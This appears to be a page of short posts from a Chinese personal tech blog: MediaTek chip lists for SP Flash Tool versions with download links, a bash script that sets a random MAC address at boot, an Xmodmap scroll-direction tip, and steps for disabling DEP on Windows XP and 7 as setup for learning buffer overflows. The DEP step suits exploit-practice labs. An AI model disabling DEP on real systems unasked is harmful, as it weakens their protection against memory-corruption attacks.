MT6516,MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6582,MT8135,
SP Flash Tool v3.1344.0.212

MT6516,MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6582,MT8135,MT6592,MT6571,
SP Flash Tool v5.1352.01
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT6592,
SP-Flash-Tool-v5.1436.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
SP-Flash-Tool-v5.1528.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,
SP-Flash-Tool-v5.1532.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,MT6755,
SP_Flash_Tool_5.1343
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT6592,
SP_Flash_Tool_5.1504
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,
SP_Flash_Tool_5.1520
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,
SP_Flash_Tool_5.1524.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,
SP_Flash_Tool_v5.1452
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,
SP_Flash_Tool_v5.1512
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,
SP_Flash_Tool_v5.1516
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,
SP_Flash_Tool_v5.1548
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,MT6755,MT6797,
SP_Flash_Tool_v5.1552
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,MT6755,MT6797,
SP_Flash_Tool_v5.1604
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,
SP_Flash_Tool_v5.1612
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,
SP_Flash_Tool_v5.1616_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507,
SP_Flash_Tool_v5.1620_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507,MT8160,MT0633,
SP_Flash_Tool_v5.1624_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507,MT8167,MT0633,
SP_Flash_Tool_v5.1628_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT0507,MT8167,MT0633,
SP_Flash_Tool_v5.1632_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT0507,MT8167,MT6570,MT0690,
SP_Flash_Tool_v5.1636_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690,
SP_Flash_Tool_v5.1640_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690,
SP_Flash_Tool_v5.1644_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690,
SP_Flash_Tool_v5.1648_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6759,MT8167,MT8516,MT6570,MT6763,

下载链接:
http://spflashtools.com/windows/sp-flash-tool-v5-1343
http://spflashtools.com/windows/sp-flash-tool-v5-1352
http://spflashtools.com/windows/sp-flash-tool-v5-1436
http://spflashtools.com/windows/sp-flash-tool-v5-1452
http://spflashtools.com/windows/sp-flash-tool-v5-1504
http://spflashtools.com/windows/sp-flash-tool-v5-1512
http://spflashtools.com/windows/sp-flash-tool-v5-1516
http://spflashtools.com/windows/sp-flash-tool-v5-1520
http://spflashtools.com/windows/sp-flash-tool-v5-1524
http://spflashtools.com/windows/sp-flash-tool-v5-1528
http://spflashtools.com/windows/sp-flash-tool-v5-1532
http://spflashtools.com/windows/sp-flash-tool-v5-1548
http://spflashtools.com/windows/sp-flash-tool-v5-1552
http://spflashtools.com/windows/sp-flash-tool-v5-1604
http://spflashtools.com/windows/sp-flash-tool-v5-1612
http://spflashtools.com/windows/sp-flash-tool-v5-1616
http://spflashtools.com/windows/sp-flash-tool-v5-1620
http://spflashtools.com/windows/sp-flash-tool-v5-1624
http://spflashtools.com/windows/sp-flash-tool-v5-1628
http://spflashtools.com/windows/sp-flash-tool-v5-1632
http://spflashtools.com/windows/sp-flash-tool-v5-1636
http://spflashtools.com/windows/sp-flash-tool-v5-1640
http://spflashtools.com/windows/sp-flash-tool-v5-1644
http://spflashtools.com/windows/sp-flash-tool-v5-1648

出于隐私需求,不想暴露自己的真实mac地址。
把下面这个脚本的内容加入/etc/init.d,就可以在每次开机的时候为网卡随机设置一个mac地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash
#Chorder
#2016/12/08
#http://chorder.net

mhash=`date +%s|md5sum`

ifconfig eth0 down
ifconfig eth0 hw ether `echo ${mhash:$((RANDOM % 13)):2}:\
${mhash:$((RANDOM % 13)):2}:${mhash:$((RANDOM % 13)):2}:\
${mhash:$((RANDOM % 15)):2}:${mhash:$((RANDOM % 15)):2}:\
${mhash:$((RANDOM % 15)):2} `
ifconfig eth0 up

ifconfig wlan0 down
ifconfig wlan0 hw ether `echo ${mhash:$((RANDOM % 13)):2}:\
${mhash:$((RANDOM % 13)):2}:${mhash:$((RANDOM % 13)):2}:\
${mhash:$((RANDOM % 15)):2}:${mhash:$((RANDOM % 15)):2}:\
${mhash:$((RANDOM % 15)):2} `
ifconfig wlan0 up

终于解决这个问题了。
来记录一下。
~下面的.Xmodmap文件
如果想要鼠标逆序滚动,就将其中的内容改为

1
pointer = 1 2 3 4 5 6 7 8 9 10 11 12

否则,就将内容改为:

1
pointer = 1 2 3 5 4 6 7 8 9 10 11 12

4和5代表的是鼠标滚轮方向的映射。

给有需要的人。

初学溢出,免不了要经历这一关。
闲话不多说,直接说方法。
Windows XP SP3
在Windows XP SP3中,关闭DEP的方法是:
编辑C:\boot.ini,你大概会看到如下内容

1
2
3
4
5
6
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

要关闭DEP,将/noexecute=optin 改为/excute,重启系统即可。

Windows 7
Windows7中不是通过boot.ini来保护了,需要在命令行中输入bcdedit,如果观察到输出的最后一项为
nx 1
表示DEP保护是开启的,并且级别为1
只需要运行

1
bcdedit /set nx alwaysoff

就可以了,然后重启系统。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×